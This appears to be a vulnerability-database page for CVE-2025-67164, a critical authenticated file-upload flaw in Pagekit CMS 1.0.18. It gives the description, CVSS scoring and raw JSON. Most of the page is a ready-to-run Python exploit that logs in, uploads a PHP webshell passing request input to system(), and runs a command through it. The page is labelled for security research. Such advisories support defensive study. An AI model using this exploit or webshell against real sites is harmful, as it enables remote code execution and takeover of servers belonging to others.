Security Vulnerability Report
中文
CVE-2025-67164 CVSS 9.9 CRITICAL

CVE-2025-67164

Published: 2025-12-17 17:15:51
Last Modified: 2026-01-02 17:48:12

Description

An authenticated arbitrary file upload vulnerability in the /storage/poc.php component of Pagekit CMS v1.0.18 allows attackers to execute arbitrary code via uploading a crafted PHP file.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pagekit:pagekit:1.0.18:*:*:*:*:*:*:* - VULNERABLE
Pagekit CMS v1.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67164 PoC - Pagekit CMS Arbitrary File Upload # Target: Pagekit CMS v1.0.18 # Component: /storage/poc.php def exploit(target_url, username, password): """ Exploit for CVE-2025-67164 Authenticated arbitrary file upload leading to RCE """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Upload malicious PHP file upload_url = f"{target_url}/storage/poc.php" # PHP webshell payload php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('poc.php', php_payload, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) # Step 3: Execute command via uploaded webshell if upload_response.status_code == 200: shell_url = f"{target_url}/storage/poc.php" cmd_data = {'cmd': 'whoami'} exec_response = session.get(shell_url, params=cmd_data, timeout=10) if exec_response.status_code == 200: print(f"[+] Exploit successful! RCE achieved.") print(f"[+] Shell URL: {shell_url}") print(f"[+] Command output: {exec_response.text}") return True print("[-] Exploit failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67164", "sourceIdentifier": "[email protected]", "published": "2025-12-17T17:15:50.927", "lastModified": "2026-01-02T17:48:11.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated arbitrary file upload vulnerability in the /storage/poc.php component of Pagekit CMS v1.0.18 allows attackers to execute arbitrary code via uploading a crafted PHP file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pagekit:pagekit:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "A1E39691-604C-42A3-BA30-80433E0E09EA"}]}]}], "references": [{"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67164", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}